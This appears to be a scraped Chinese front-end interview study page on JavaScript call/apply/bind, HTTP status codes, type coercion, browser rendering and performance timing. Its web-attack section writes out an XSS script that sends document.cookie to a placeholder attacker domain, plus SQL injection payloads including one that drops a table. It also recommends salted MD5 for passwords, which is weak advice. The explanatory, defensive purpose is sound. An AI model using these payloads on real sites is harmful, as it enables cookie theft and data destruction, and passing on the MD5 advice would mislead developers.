console.log(item);
}
// ["red", "red"]
// ["green", "green"]
// ["blue", "blue"]
set.forEach((key, value) => console.log(key + ' : ' + value)); // key = value
// red : red
// green : green
// blue : blue
Set 和 Object 判断是否有某个Key的对比 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20// 对象的写法
const properties = {
'width': 1,
'height': 1
};
if (properties[someName]) {
// do something
}
// Set的写法
const properties = new Set();
properties.add('width');
properties.add('height');
if (properties.has(someName)) {
// do something
}
call和apply的区别
本质:改变 this
的指向1
2
3
4
5
6
7
8
9
10// apply()方法:调用一个对象的一个方法,用另一个对象替换当前对象。
// 例如:B.apply(A, arguments); 即A对象应用B对象的方法。
func.apply(thisObj[, argArray]); // 2个参数,参数2为数组
// call()方法:调用一个对象的一个方法,用另一个对象替换当前对象。
// 例如:B.call(A, args1,args2); 即A对象调用B对象的方法。
func.call(thisObj[, arg1[, arg2[, [, ...argN]]]]); // 多个参数,其他参数为非数组
// 参数1 thisObj 是可选的。在 func 函数运行时使用的 this 值。请注意,this 可能不是该方法看到的实际值:如果这个函数处于非严格模式下,则指定为 null 或 undefined 时会自动替换为指向全局对象(window),原始值会被包装。
1、举例用途1:获取数组中最大最小值1
2
3// apply会将参数2的数组装换成一个个的参数,如将下例中的[1, 2, 3, 4]转换成1, 2, 3, 4.
Math.max.apply(null, [1, 2, 3, 4]); // 参数1可写成null、undefined、this、Math、window
Math.min.apply(null, [1, 2, 3, 4]);
2、举例用途2:拼接数组1
2
3
4
5
6
7
8var arr1 = new Array("1", "2", "3");
var arr2 = new Array("4", "5", "6");
Array.prototype.push.apply(arr1, arr2); // 返回数组长度 6
arr1.push.apply(arr1, arr2); // arr1: ["1", "2", "3", "4", "5", "6"], arr1对象调用Array的push方法
// 上面的等同于
arr1.push(...arr2); // ES6语法
arr1.concat(arr2); // ES5语法
3、举例3:面试题1
2
3
4
5
6
7
8
9
10
11
12
13// 实现一个log方法,传入不定的参数,内部打印出console.log()日志
// es6
function log (...args) {
console.log(...args);
}
// es5
function log() {
// arguments输出的是一个数组,...arguments等到的是不定参数
console.log.apply(this, arguments);
}
log(1, 2, 3, 4);
1.) console.log
挂载在 window
下
2.) this
的指向需要看上下文,一开始 this
指向 window
3.) 使用 apply
将log方法中 this
指向 widnow
变成指向 console
4.) 参数1本例中可以使用 null
、undefined
、this
、window
、console
,他表示在 console.log
运行时的 this
指向
4、严格模式 + 非严格模式1
2
3
4
5
function fn( a, b ){
console.log( this )
}
fn(1, 2)
1.) 严格模式下 this
指向 undefined
2.) 非严格模式下 this
会被转成全局的 window
call、apply、bind
call
、apply
、bind
是 Function
对象自带的三个方法,都是为了改变函数体内部 this
的指向;call
、apply
、bind
三者第一个参数都是 this
要指向的对象,也就是想指定的上下文;call
、apply
、bind
三者都可以利用后续参数传参;bind
是返回对应 函数,需要手动调用;apply
、call
则是立即调用。
举例
1 | function fruits() {} |
如果我们有一个对象 banana = {color : 'yellow'}
,我们不想重新定义 say
方法,那么我们可以通过 call
或 apply
来使用 apple
的 say
方法:
1
2
3
4
5
6
7
8
9
10
11
12
13var banana = {
color: 'yellow'
};
apple.say.call(banana); // 此时的 this 的指向已经同过 call() 方法改变了,指向的是 banana
// 结果: My color is yellow
apple.say.apply(banana); // 此时的 this 的指向已经同过 apply() 方法改变了,指向的是 banana
// 结果: My color is yellow
// 如果参数传null
apple.say.apply(null); // 因为 null 是 window 下的,所以此时 this 指向了 window
// 结果: My color is undefined
call、apply传参
1 | var arr1 = [1, 2, 3, 4, 5]; |
call
参数可以传多个,从第二个参数开始,call
会把他们当成一个元素,和它们本身的类型无关,call
的参数都是事先就知道的
apply
参数可以传两个,且第二个参数必须使用 Array
,apply
的参数可以是不定的(第二个参数内不定)
call
和 apply
唯一的区别就是参数不同, call
可以传多个参数,apply
只能传两个且第二个是数组
bind方法
bind方法会创建一个新函数,称之为绑定函数。当调用这个绑定函数时,绑定函数会将创建它时传入 bind()
方法的第一个参数作为 this
,传入 bind()
方法的第二个及以后的参数加上绑定函数运行时本身的参数按照顺序作为原函数的参数来调用原函数。
1
2
3
4
5
6
7
8
9
10
11
12var bar = function(){
console.log(this.x);
};
var foo = {
x:3
};
bar(); // undefined
var func = bar.bind(foo); // 将foo对象绑定给bar,此时this会指向foo. 但是用bind() 方法并不会立即执行,而是创建一个新函数,如果要直接调用的话,可以 bar.bind(foo)();
func(); // 3
在 JavaScript
中,多次使用 bind()
是无效的。bind()
的实现相当于在内部包了一个 call
或 apply
,第二次 bind()
相当于再包住第一次 bind()
,所有第二次以后的 bind()
是无法生效的。
1
2
3
4
5
6
7
8
9
10
11
12var bar = function(){
console.log(this.x);
};
var foo = {
x:3
};
var sed = {
x:4
};
var func = bar.bind(foo).bind(sed); // 使用两次bind()
func(); // 3 第二次以后的bind()是无效的
call、apply、bind异同
1 | var obj = { |
如何选用
如果不需要关心具体有多少参数传入函数,选用 apply()
;
如果确定函数可以接受多少个参数,并且想一目了然的知道形参和实参的的对应关系,选用 call()
;
如果不需要立即执行,将来手动调用时,选用 bind()()
;
手动模拟实现call、apply、bind
模拟前须知
首先我们知道,对象上的方法,在调用时,
this
是指向对象的。1
2
3
4
5
6let o = {
fn:function(){
console.log(this);
}
}
o.fn() // Object {fn: function}知道了这点,我们就可以实现改变
this
指向了1
2
3
4
5
6
7
8// 函数原型上添加 myCall方法 来模拟call
Function.prototype.myCall = function(obj){
//我们要让传入的obj成为, 函数调用时的this值.
obj._fn_ = this; //在obj上添加_fn_属性,值是this(要调用此方法的那个函数对象)。
obj._fn_(); //在obj上调用函数,那函数的this值就是obj.
delete obj._fn_; // 再删除obj的_fn_属性,去除影响.
//_fn_ 只是个属性名 你可以随意起名,但是要注意可能会覆盖obj上本来就有的属性
}测试:
1
2
3
4
5
6
7
8
9
10
11
12let test = {
name:'test'
}
let o = {
name:'o',
fn:function(){
console.log(this.name);
}
}
o.fn() // "o"
o.fn.call(test) // "test"
o.fn.myCall(test) // "test"
模拟call
2.1 es61
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30Function.prototype.myCall = function(obj, ...arg){
// 传参检测
if(obj === null || obj === undefined){
obj = window;
} else {
obj = Object(obj);
}
let val ;
obj._fn_ = this;
val = obj._fn_(...arg); //不能直接return obj._fn_(...arg) 这样就不delete属性了
delete obj._fn_;
return val;
}
//测试
let test = {
name: 'test'
}
let o = {
name:'o',
fn: function() {
console.log(this.name, ...arguments); //这里把参数显示一下
}
}
o.fn(1, 2, 3) // "o" 1 2 3
o.fn.call(test, 1, 2, 3) // "test" 1 2 3
o.fn.myCall(test, 1, 2, 3) // "test" 1 2 3
// 没问题2.2 非es6
1
2
3
4
5
6
7
8
9
10
11Function.prototype.myCall = function(obj){
let arg = [];
let val ;
for(let i = 1; i < arguments.length; i++){
arg.push( 'arguments[' + i + ']' ) ;
}
obj._fn_ = this;
val = eval( 'obj._fn_(' + arg + ')' )
delete obj._fn_;
return val;
}模拟apply
3.1 es6 + myCall方法1
2
3
4
5
6
7
8Function.prototype.myApply = function(obj, arr){
let args = [];
for(let i = 0; i < arr.length; i++){
args.push( arr[i] );
}
// 其实直接 ...arr 传参也可以 但是效果就和aplly有微小差别了
return this.myCall(obj, ...args);
}3.2 非es6 + myCall方法
1
2
3
4
5
6
7Function.prototype.myApply = function(obj, arr){
let args = [];
for(let i = 0; i < arr.length; i++){
args.push( 'arr[' + i + ']' ); // 这里也是push 字符串
}
return eval( 'this.myCall(obj,' + args + ')' );
}3.3 非es6
1
2
3
4
5
6
7
8
9
10
11Function.prototype.myApply = function(obj, arr){
let args = [];
let val ;
for(let i = 0; i < arr.length; i++){
args.push( 'arr[' + i + ']' ) ;
}
obj._fn_ = this;
val = eval( 'obj._fn_(' + args + ')' )
delete obj._fn_;
return val
}模拟bind
4.1 es6 + myApply方法1
2
3
4
5Function.prototype.myBind = function(obj,...arg1){ //arg1收集剩余参数
return (...arg2) => { //返回箭头函数, this绑定调用这个方法(myFind)的函数对象
return this.myApply( obj, arg1.concat(arg2) ); // 将参数合并
}
}4.2 es6
1
2
3
4
5
6
7
8
9
10Function.prototype.myBind = function(obj, ...arg1){
return (...arg2) => {
let args = arg1.concat(arg2);
let val ;
obj._fn_ = this;
val = obj._fn_( ...args );
delete obj._fn_;
return val
}
}4.3 非es6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20Function.prototype.myFind = function(obj){
let _this = this;
let argArr = [];
let arg1 = [];
for(let i = 1; i < arguments.length; i++){
arg1.push( arguments[i] );
argArr.push( 'arg1[' + (i - 1) + ']' ) ;
}
return function(){
let val ;
for(let i = 0; i < arguments.length; i++){
argArr.push( 'arguments[' + i + ']' ) ;
}
obj._fn_ = _this;
console.log(argArr);
val = eval( 'obj._fn_(' + argArr + ')' ) ;
delete obj._fn_;
return val;
};
}
简述http工作原理
原理
常见的http状态码:
1XX系列:指定客户端应相应的某些动作,代表请求已被接受,需要继续处理。
2XX系列:代表请求已成功被服务器接收、理解、并接受。
200(成功): 请求成功
201(已创建): 请求成功并且服务器创建了新的资源
202(已接受): 服务器已接受请求,但尚未处理3XX系列:代表需要客户端采取进一步的操作才能完成请求,这些状态码用来重定向,后续的请求地址(重定向目标)在本次响应的 Location 域中指明。
300(多种选择): 针对请求,服务器可执行多种操作
301(永久移动): 被请求的资源已永久移动到新位置
302(临时移动): 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求4XX系列:代表了客户端看起来可能发生了错误,妨碍了服务器的处理。
400(错误请求): 服务器不理解请求的语法
401(未授权): 请求要求身份验证
403(拒绝): 服务器已经理解请求,但是拒绝执行它
404(未找到): 服务器找不到请求的网页
413(请求实体过大): 请求实体过大,服务器无法处理请求
414(请求的URI过长): 请求的 URI(通常为网址)过长,服务器无法处理5xx系列:代表了服务器在处理请求的过程中有错误或者异常状态发生。
500(服务器内部错误): 服务器错误
502(错误网关): 服务器作为网关或代理,从上游服务器收到无效响应
505(HTTP版本不受支持): 服务器不支持请求中所用的 HTTP 协议版本
几种常见web攻击手段
前端面试只需答 XSS
和 CSRF
两种
XSS(跨站脚本攻击)
概念
全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序。案例
比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的<script>window.open(“www.gongji.com?param=”+document.cookie)</script>
,如果我没有对他的内容进行处理,直接存储到数据库,那么下一次当其他用户访问他的这篇文章的时候,服务器从数据库读取后然后响应给客户端,浏览器执行了这段脚本,然后就把该用户的cookie发送到攻击者的服务器了。被攻击的原因
用户输入的数据变成了代码,比如说上面的<script>
,应该只是字符串却有了代码的作用。预防
将输入的数据进行转义处理,比如说讲<
转义成<;
CSRF(跨站请求伪造)
概念
全称是跨站请求伪造(cross-site request forgery),指通过伪装成受信任用户的进行访问,通俗的讲就是说我访问了A网站,然后cookie存在了浏览器,然后我又访问了一个流氓网站,不小心点了流氓网站一个链接(向A发送请求),这个时候流氓网站利用了我的身份对A进行了访问。案例
1、这个例子可能现实中不会存在,但是攻击的方式是一样的。比如说我登录了A银行网站,此时存储了cookie。然后我又访问了另一个网站B,然后点了里面的一个链接 www.A.com/transfer?account=666&money=10000。这个时候A没有校验该请求是B发起的,那么很可能就向账号为666的人转了1w。
2、注意这个攻击方式不一定是我点了这个链接,也可以是这个网站里面一些资源请求指向了这个转账链接。被攻击的原因
用户本地存储cookie,攻击者利用用户的cookie进行认证,然后伪造用户发出请求。预防
1、之所以被攻击是因为攻击者利用了存储在浏览器用于用户认证的cookie,那么如果我们不用cookie来验证不就可以预防了。所以我们可以采用token(不存储于浏览器)认证。2、通过referer识别,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。那么这样的话,我们必须登录银行A网站才能进行转账了。
SQL注入
概念
通过sql命令伪装成正常的http请求参数,传递到服务器端,服务器执行sql命令造成对数据库进行攻击。案例
1、' or '1'= '1
。这是最常见的sql注入攻击,当我们输如用户名jiajun
,然后密码输如'or '1'= '1
的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是select * from user where username='' and password=''
,经过参数拼接后,会执行sql语句select * from user where username='jaijun' and password=' ' or '1'='1'
,这个时候1=1是成立,自然就跳过验证了。2、但是如果再严重一点,密码输入的是
';drop table user;--
,那么sql命令为select * from user where username='jiajun' and password='';drop table user;--'
这个时候我们就直接把这个表给删除了。被攻击的原因
sql语句伪造参数,然后在对参数进行拼接的后形成破坏性的sql语句,最后导致数据库受到攻击。预防
1、在java中,我们可以使用预编译语句(PreparedStatement),这样的话即使我们使用sql语句伪造成参数,到了服务端的时候,这个伪造sql语句的参数也只是简单的字符,并不能起到攻击的作用。2、很多orm框架已经可以对参数进行转义。
3、做最坏的打算,即使被’拖库‘(‘脱裤,数据库泄露’)。数据库中密码不应明文存储的,可以对密码使用md5进行加密,为了加大破解成本,所以可以采用加盐的(数据库存储用户名,盐(随机字符长),md5后的密文)方式。
DDOS
概念
分布式拒绝服务攻击(Distributed Denial of Service),简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的,可以通俗理解,dos是单挑,而ddos是群殴,因为现代技术的发展,dos攻击的杀伤力降低,所以出现了DDOS,攻击者借助公共网络,将大数量的计算机设备联合起来,向一个或多个目标进行攻击。案例
1、SYN Flood ,简单说一下tcp三次握手,客户端先服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求已被接受,然后客户端也会返回一个报文,最后建立连接。那么如果有这么一种情况,攻击者伪造ip地址,发出报文给服务器请求连接,这个时候服务器接受到了,根据tcp三次握手的规则,服务器也要回应一个报文,可是这个ip是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪。2、CC攻击,在应用层http协议上发起攻击,模拟正常用户发送大量请求直到该网站拒绝服务为止。
被攻击的原因
服务器带宽不足,不能挡住攻击者的攻击流量。预防
1、最直接的方法增加带宽。但是攻击者用各地的电脑进行攻击,他的带宽不会耗费很多钱,但对于服务器来说,带宽非常昂贵。
2、云服务提供商有自己的一套完整DDoS解决方案,并且能提供丰富的带宽资源。
[‘1’, ‘2’, ‘3’].map(parseInt);
结果:[1, NaN, NaN]
考察知识点:map
和parseInt
map
传递两个参数:Array.map(element, index, array)
parseInt
传递两个参数:parseInt(string, radix)
参数radix表示进制数,2~36,如果不设置或为0,则默认取10进制转换,如果小于0、等于1或大于36,则返回NaN
原题先转换成:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15['1', '2', '3'].map(function (element) {
return `${element}`; // ["1", "2", "3"]
});
['1', '2', '3'].map(function (element, index) {
return `${element}-${index}`; // ["1-0", "2-1", "3-2"]
});
['1', '2', '3'].map(function (element, index, array) {
return `${element}-${index}-${array}`; // ["1-0-1,2,3", "2-1-1,2,3", "3-2-1,2,3"]
});
['1', '2', '3'].map(function (element, index, array, other) {
return `${element}-${index}-${array}-${other}`; // ["1-0-1,2,3-undefined", "2-1-1,2,3-undefined", "3-2-1,2,3-undefined"]
});
由此可以也可以看出,map的参数最多3个。
原题先求执行 map
,然后再执行括号中的 parseInt
,parseInt
接收的参数是 map
中的 element
和 index
所以原题再转换成:1
2
3
4
5
6
7
8
9parseInt('1', 0); // 1
parseInt('2', 1); // NaN,因为没有1进制
parseInt('3', 2); // NaN,虽然有二进制,但是2进制中没有3
// 同理
parseInt('4', 3)
parseInt('5', 4)
parseInt('6', 5)
['1', '2', '3', '4', '5', '6'].map(parseInt); // [1, NaN, NaN, NaN, NaN, NaN]
同理1
2
3
4
5
6[10, 10, 10].map(parseInt) // [10, NaN, 2]
function add (num1, num2) {
return num1 + num2
}
[1, 2, 3].map(add) // [1, 3, 5]
[]==false
为什么为 true
,!![]==false
为什么为 false
, [] == ![]
为什么为 true
segmentfault
js隐式转换:
- 数字 == 字符串 => 数字 == 数字
- 数字 == 布尔值 => 数字 == 数字
- 字符串 == 布尔值 => 数字 == 数字
- 对象 == 布尔值 => 对象 == 数字
- 对象 == 数字 => 字符串 == 数字
1 | [] == false; // true |
[] == false 转换过程如下:
[] == false; // 对象和布尔值,如果有布尔值,先将布尔值转换成数字
如果其中一个操作数为布尔类型,那么布尔操作数如果为true,那么会转换为1,如果为false,会转换为整数0,即0。[] == 0; // 原值和非原值,把非原值转换成原值,toString()方法
如果一个对象与数字或字符串相比较,JavaScript会尝试返回对象的默认值。操作符会尝试通过方法valueOf和toString将对象转换为其原始值(一个字符串或数字类型的值)。如果尝试转换失败,会产生一个运行时错误。
注意:当且仅当与原始值比较时,对象会被转换为原始值。当两个操作数均为对象时,它们作为对象进行比较,仅当它们引用相同对象时返回true‘’ == 0; // 字符串和数字,把字符串转换成数字,Number()方法
当比较数字和字符串时,字符串会转换成数字值。 JavaScript 尝试将数字字面量转换为数字类型的值。 首先, 一个数学上的值会从数字字面量中衍生出来,然后这个值将被转为一个最接近的Number类型的值。0 == 0;
!![] == false 转换过程如下:
- 非运算符优先级大于 ==,先执行![] // !对象 返回 false
- !false = true
!!’’ == false 转换过程如下:
- 非运算符优先级大于 ==,先执行!’’ // !空字符串 返回 true、!非空字符串 返回 false
- !true = false
[] == ![] 为true的转换过程如下:
- 转换成原始值(toString方法) ‘’ == false
- 转换成数字和数字 0 == 0
注意:当且仅当与原始值比较时,对象会被转换为原始值。当两个操作数均为对象时,它们作为对象进行比较,仅当它们引用相同对象时返回true
字符串对象的类型是对象,不是字符串!1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16var a = new String('javascript') // typeof a === 'object'
var b = new String('javascript')
a == 'javascript' // true
a === 'javascript' // false
b == 'javascript' // true
b === 'javascript' // false
a === b // false
a == b // false
var a = String('javascript') // typeof a === 'string'
var b = String('javascript')
a === b // true
a == b // true
效果如下:
1 | var a = {} |
如何让变量变成可执行(类似函数)
1 | // 实现控制台输入 toggle 变量后扭转程序的状态 |
防疲劳处理
1 | // 弹窗每 10s 内只能出现 3 次,弹窗本身只可以看,不可操作 |
链式调用
1 | /** |
同时满足 a==1 && a==12
1 | var a = ???; |
分析:变量a要同时满足==1和==12两个条件,需要实现这种情况,a在执行第一次的时候必然会进行动态改变
解:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20// 数字的原型上有valueOf、toString等方法,此例中需要重写 a.valueOf 方法
var a = {
i: 1,
valueOf () {
if (this.i === 1) {
this.i++ // 取完值后就不再=1了
return 1
} else {
return 12
}
}
}
if(a == 1 && a == 12){
console.log(a);
}
// 如果一个对象与数字或字符串相比较,JavaScript会尝试返回对象的默认值。操作符会尝试通过方法valueOf和toString将对象转换为其原始值(一个字符串或数字类型的值)。如果尝试转换失败,会产生一个运行时错误。
// 每次执行 a == x 的时候,都是使用 valueOf 和 toString 来对a进行转换
// 第一次 执行 a == 1,执行a.valueOf,执行了a+1,且返回1,所以=true
// 第二次 执行 a == 12,执行a.valueOf,返回12,所以=true
css布局(padding百分比)
css布局实现以下要求(主要考察css布局、padding设置为百分比时的参照物):
- 1.子级div左右距离父级边界各50px
- 2.子级div垂直居中
- 3.子级div高度是宽度的一半
注:css margin、padding的left、right、top、bottom设置为百分比时都是以父级的width为参照
1 | <div class="outer"> |
1 | .outer{ |
注:当不实现 需求1 的时候,需求3 中自己内部高度为50%,即为父级(outer div)宽度的一半,此时由于inner div设置了flex布局(需求2),导致子级宽度和父级宽度一样,最后再实现 需求1,父级增加左右padding。
效果如下:
今日头条新闻概率
假设在今日头条里面,有很多工作人员检查新闻是不是属于虚假新闻,所有新闻真实率到达了98%,工作人员在检验一个真实的新闻把它检验为一个虚假的新闻的概率为2%,而一个虚假的新闻被检验为真实的新闻的概率为5%. 那么,一个被检验为真实的新闻确实是真实的新闻的概率是多大?
A.0.9991
B.0.9989
C.0.9855
D.0.96
答案:B
分析条件得到:
真的新闻:98%,包含 【真的->真的,假的->假的】
假的新闻:2%,包含 【真的->假的,假的->真的】
因为:
真的->假的:2%
假的->真的:5%
所以:
真的->真的:1 - 2% = 98%
假的->假的:1 - 5% = 95%
分析要求:被检验为真实的新闻确实是真实的新闻
首先要明确被检验为真实的新闻包括了(本来是真的和本来是假的)所以分子为(真->真),分母为(真->真 + 假->真)
结果为:(真->真)/(真->真 + 假->真) = (98%(1-2%)) / (98%(1-2%) + 2%*5%) = 0.9604/0.9614 = 0.9989……
排除数组指定内容(考察filter用法)
1 | /** |
字符频率统计(考察sort方法、字符串charCodeAt方法)
1 | /** |
js连续赋值运算
描述下面的结果,为什么?1
2
3
4
5var a = {n: 1};
b = a;
a.x = a = {n: 2};
console.log(a, b); // {n: 2}、{n: 1, x: {n: 2}}
参考:https://blog.csdn.net/dcof99817/article/details/102343098
注意点:
- 赋值运算符(”=”)是自右向左的。
- 字段访问运算符(”.”)优先级 > 赋值运算符。
解析:
.运算符优先级最大,先执行
a.x
,此时a指向{n: 1}
,称之为A对象。a中没有x属性,所以
a.x
为undefined,即a指向{n: 1, x: undefined}
。由于a、b共用存储地址,所以b也指向{n: 1, x: undefined}
。开始赋值运算,自右向左先执行
a = {n: 2}
。在堆中创建对象B,即{n: 2}
,a新指向了对象B,b暂未改变。再执行
a.x = a
,由于一开始js已经先计算了a.x
,便已经解析了这个a.x
是对象A的x,所以在同一条公式的情况下再回来给a.x
赋值,也不会说重新解析这个a.x
为对象B的x。
相当于把对象A的x属性指向了对象B。
导致b = {n: 1, x: {n: 2}}
,a未改变a = {n: 2}
页面渲染机制与性能优化
浏览器渲染过程
什么是DOCTYPE及作用
DTD
(document type definitiion
,文档类型定义)是一系列的语法规则,用来定义XML
或(X)HTML
的文件类型。浏览器会使用它来判断文档类型,决定使用何种协议来解析,以及切换浏览器模式。DOCTYPE
是用来申明文档类型和DTD
规范的,一个主要的用途是文件的合法性验证。如果文件代码不合法,那么浏览器解析时会出一些错。
指示 web 浏览器关于页面使用哪个HTML
版本进行编写的指令。html5
1
html4.01 Strict
该 DTD 包含所有 HTML 元素和属性,但不包括展示性的和弃用的元素(比如 font)。不允许框架集(Framesets)。1
html4.01 Transitional
该 DTD 包含所有 HTML 元素和属性,包括展示性的和弃用的元素(比如 font)。不允许框架集(Framesets)。1
2html4.01 Frameset
该 DTD 包含所有 HTML 元素和属性,但不包括展示性的和弃用的元素(比如 font)。允许框架集(Framesets)。1
2
网页请求过程(输入url开始发生了什么)
输入url回车 –> 解析url –> DNS解析 –> 建立TCP链接(三次握手) –> 客户端发起请求 –> 服务端响应请求 –> 渲染页面 –> 断开连接浏览器渲染过程
webkit渲染过程图
gecko渲染过程图
这两个内核的渲染流程大同小异,主要的过程可以总结为下列5个:
- DomTree: 解析html构建DOM树。
- CssomTree: 解析CSS生成CSSOM规则树。
- RenderObjectTree: 将DOM树与CSSOM规则树合并在一起生成渲染对象树。
- Layout: 遍历渲染树开始布局(layout),计算每个节点的位置大小信息。
- Painting: 将渲染树每个节点绘制到屏幕。
重排(回流)Reflow
重排一定会触发重绘,而重绘不一定会重排定义
重排(Reflow)是指元素的大小、位置发生了改变,而导致了布局的变化,从而导致了布局树的重新构建和渲染。触发Reflow
1.) 增加、删除、修改DOM
节点时
2.) 移动DOM
位置的时候,比如某个动画
3.) 元素尺寸改变(margin、padding、border、width、height)
4.) 元素内容改变
5.) 页面渲染器初始化
6.) 浏览器窗口改变的时候面试提示:如何避免?
1.) 分离读写操作
2.) 样式集中改变或切换class
3.) 动画类使用absolute脱离文档流
4.) 使用 visibility:hidden 代替 display:none,前者只会发生重绘,后者会发生回流
5.)减少使用table布局,table布局中的的一个小改动都可能造成回流
重绘Repaint
重排一定会触发重绘,而重绘不一定会重排定义
重绘是指css样式的改变,但元素的大小和尺寸不变,而导致节点的重新绘制。触发Repaint
任何的元素样式,如background-color
、border-color
、visibility
等属性的改变。css 和 js 都可能引起重绘。面试提示:如何最小程度的降低Repaint
1.) DOM离线修改,先display:none,改完之后再显示
2.) 样式集中改变或切换class
- 布局Layout
js运行机制
1 | console.log(1); |
1 | console.log('A'); |
1 | console.log('A'); |
1 | for (var i = 0; i < 4; i++) { |
异步任务:
- setTimeout、setInterval
- DOM事件
- ES6 Promise
原理:js 是单线程的,任务队列分为同步任务和异步任务。
页面性能监控 performance
Performance — 前端性能监控利器
hash、chunkhash、contenthash
hash: 跟整个项目的构建有关,构建生成的文件hash值都是一样的。同一次构建过程中生成的hash都是一样的,只要有文件修改,整个项目构建的hash都会发生变化。图片等资源例外,每个图片资源都拥有自己的hash,不同于全局hash。
chunkhash: 根据不同的入口文件(entry)进行依赖文件分析、构建对应的chunk,生成对应的hash值。生产环境中,将公共库和入口文件分开打包构建,再采用chunkhash的方式生成。这样在不改动公共文件的情况下,hash值不会受影响。
chunkhash只能用在生产环境不能用在开发环境。contenthash: 由文件内容产生的hash值,内容不同产生的contenthash就会不一致。通常把项目中的css都抽离出对应的css文件来加以引用。
contenthash是extract-text-webpack-plugin插件引入的,解决修改样式文件导致js重新生成hash。
结论:
- 全局 Hash 和 js、css 的 hash一致
- 图片、字体等资源只有hash,但是该 hash 只是该图片自身的,不同于全局hash
- 如果对css使用chunkhash,它与依赖的chunk公用chunkhash,css和js的chunkhash是一致的。修改了js,css的hash也会变化。修改了css,js的hash值也会变化。
- 图片字体等使用hash,js使用chunkhash,css使用contenthash
navigation属性 页面来源
1 | window.performance.navigation |
type常数 | 枚举值 | 描述 |
---|---|---|
TYPE_NAVIGATE | 0 | 普通进入,包括:点击链接、在地址栏中输入 URL、表单提交、或者通过除下表中 TYPE_RELOAD 和 TYPE_BACK_FORWARD 的方式初始化脚本。 |
TYPE_RELOAD | 1 | 通过刷新进入,包括:浏览器的刷新按钮、快捷键刷新、location.reload()等方法。 |
TYPE_BACK_FORWARD | 2 | 通过操作历史记录进入,包括:浏览器的前进后退按钮、快捷键操作、history.forward()、history.back()、history.go(num)。 |
TYPE_UNDEFINED | 255 | 其他非以上类型的方式进入。 |
memory属性 内存情况
1 | window.performance.memory |
属性 | 描述 |
---|---|
jsHeapSizeLimit | 内存大小限制 |
totalJSHeapSize | 可使用的内存 |
usedJSHeapSize | JS对象(包括V8引擎内部对象)占用的内存,不能大于totalJSHeapSize,如果大于,有可能出现了内存泄漏 |
timing属性 所有的时间
1 | window.performance.timing |
按触发顺序排列所有属性:
属性 | 描述 |
---|---|
navigationStart | 在同一个浏览器上下文中,前一个网页(与当前页面不一定同域)unload 的时间戳,如果无前一个网页 unload ,则与 fetchStart 值相等 |
unloadEventStart | 前一个网页(与当前页面同域)unload 的时间戳,如果无前一个网页 unload 或者前一个网页与当前页面不同域,则值为 0 |
unloadEventEnd | 和 unloadEventStart 相对应,返回前一个网页 unload 事件绑定的回调函数执行完毕的时间戳 |
redirectStart | 第一个 HTTP 重定向发生时的时间。有跳转且是同域名内的重定向才算,否则值为 0 |
redirectEnd | 最后一个 HTTP 重定向完成时的时间。有跳转且是同域名内的重定向才算,否则值为 0 |
fetchStart | 浏览器准备好使用 HTTP 请求抓取文档的时间,这发生在检查本地缓存之前 |
domainLookupStart | DNS 域名查询开始的时间,如果使用了本地缓存(即无 DNS 查询)或持久连接,则与 fetchStart 值相等 |
domainLookupEnd | DNS 域名查询完成的时间,如果使用了本地缓存(即无 DNS 查询)或持久连接,则与 fetchStart 值相等 |
connectStart | HTTP(TCP) 开始建立连接的时间,如果是持久连接,则与 fetchStart 值相等,如果在传输层发生了错误且重新建立连接,则这里显示的是新建立的连接开始的时间 |
connectEnd | HTTP(TCP) 完成建立连接的时间(完成握手),如果是持久连接,则与 fetchStart 值相等,如果在传输层发生了错误且重新建立连接,则这里显示的是新建立的连接完成的时间 注意:这里握手结束,包括安全连接建立完成、SOCKS 授权通过 |
secureConnectionStart | HTTPS 连接开始的时间,如果不是安全连接,则值为 0 |
requestStart | HTTP 请求读取真实文档开始的时间(完成建立连接),包括从本地读取缓存,连接错误重连时,这里显示的也是新建立连接的时间 |
responseStart | HTTP 开始接收响应的时间(获取到第一个字节),包括从本地读取缓存 |
responseEnd | HTTP 响应全部接收完成的时间(获取到最后一个字节),包括从本地读取缓存 |
domLoading | 开始解析渲染 DOM 树的时间,此时 Document.readyState 变为 loading,并将抛出 readystatechange 相关事件 |
domInteractive | 完成解析 DOM 树的时间,Document.readyState 变为 interactive,并将抛出 readystatechange 相关事件, 注意:只是 DOM 树解析完成,这时候并没有开始加载网页内的资源 |
domContentLoadedEventStart | DOM 解析完成后,网页内资源加载开始的时间,文档发生 DOMContentLoaded事件的时间 |
domContentLoadedEventEnd | DOM 解析完成后,网页内资源加载完成的时间(如 JS 脚本加载执行完毕),文档的DOMContentLoaded 事件的结束时间 |
domComplete | DOM 树解析完成,且资源也准备就绪的时间,Document.readyState 变为 complete,并将抛出 readystatechange 相关事件 |
loadEventStart | load 事件发送给文档,也即 load 回调函数开始执行的时间,如果没有绑定 load 事件,值为 0 |
loadEventEnd | load 事件的回调函数执行完毕的时间,如果没有绑定 load 事件,值为 0 |
常用计算:
DNS查询耗时 :domainLookupEnd - domainLookupStart
TCP链接耗时 :connectEnd - connectStart
request请求耗时 :responseEnd - responseStart
解析dom树耗时 : domComplete - domInteractive
白屏时间 :responseStart - navigationStart
domready时间(用户可操作时间节点) :domContentLoadedEventEnd - navigationStart
onload时间(总下载时间) :loadEventEnd - navigationStart
getEntries()方法 所有资源的信息
1 | window.performance.getEntries().forEach(item => console.log(item)) |
属性 | 描述 |
---|---|
name | 资源名称,是资源的绝对路径或调用mark方法自定义的名称 |
startTime | 开始时间 |
duration | 加载时间 |
